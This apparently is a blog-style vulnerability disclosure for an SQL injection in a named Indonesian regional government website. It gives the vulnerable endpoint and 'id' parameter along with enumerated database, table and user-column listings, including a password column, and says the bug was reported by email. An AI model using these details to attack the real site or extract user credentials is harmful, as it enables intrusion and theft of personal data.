Sunday, July 28, 2019

BUGS kepulauansulakab.go.id

DOMAIN: http://kepulauansulakab.go.id
KONTAK: diskominfosula2017@gmail.com
BUGS: SQL Injection
TARGET: index.php/crud_berita/tampilkan_berita
PARAMETER: id (GET DATA)

available databases [2]:
[*] information_schema
[*] nayaproject_review

Database: nayaproject_review
[25 tables]



+--------------------+
| user               |
| tb_agenda          |
| tb_banner          |
| tb_download        |
| tb_dt_galeri       |
| tb_dt_thread       |
| tb_galeri          |
| tb_gambar          |
| tb_header          |
| tb_komentar        |
| tb_komentar_wisata |
| tb_kritik_saran    |
| tb_like            |
| tb_like_wisata     |
| tb_link            |
| tb_log_user        |
| tb_posting         |
| tb_skpd            |
| tb_slider          |
| tb_thread          |
| tb_user            |
| tb_video           |
| tb_view            |
| tb_view_wisata     |
| tb_wisata          |
+--------------------+


Table: user
[9 columns]
+---------------+----------------+
| Column        | Type           |
+---------------+----------------+
| level         | enum('1','0')  |
| email         | varchar(50)    |
| id_user       | int(11)        |
| nama          | varchar(50)    |
| status        | enum('1','0')  |
| url           | varchar(10000) |
| user_age      | int(11)        |
| user_mobile   | varchar(225)   |
| user_password | varchar(50)    |
+---------------+----------------+

Dilaporkan pada 21 Juli 2019 melalui email kepada alamat email kontak yang tersedia.
Status: --

No comments: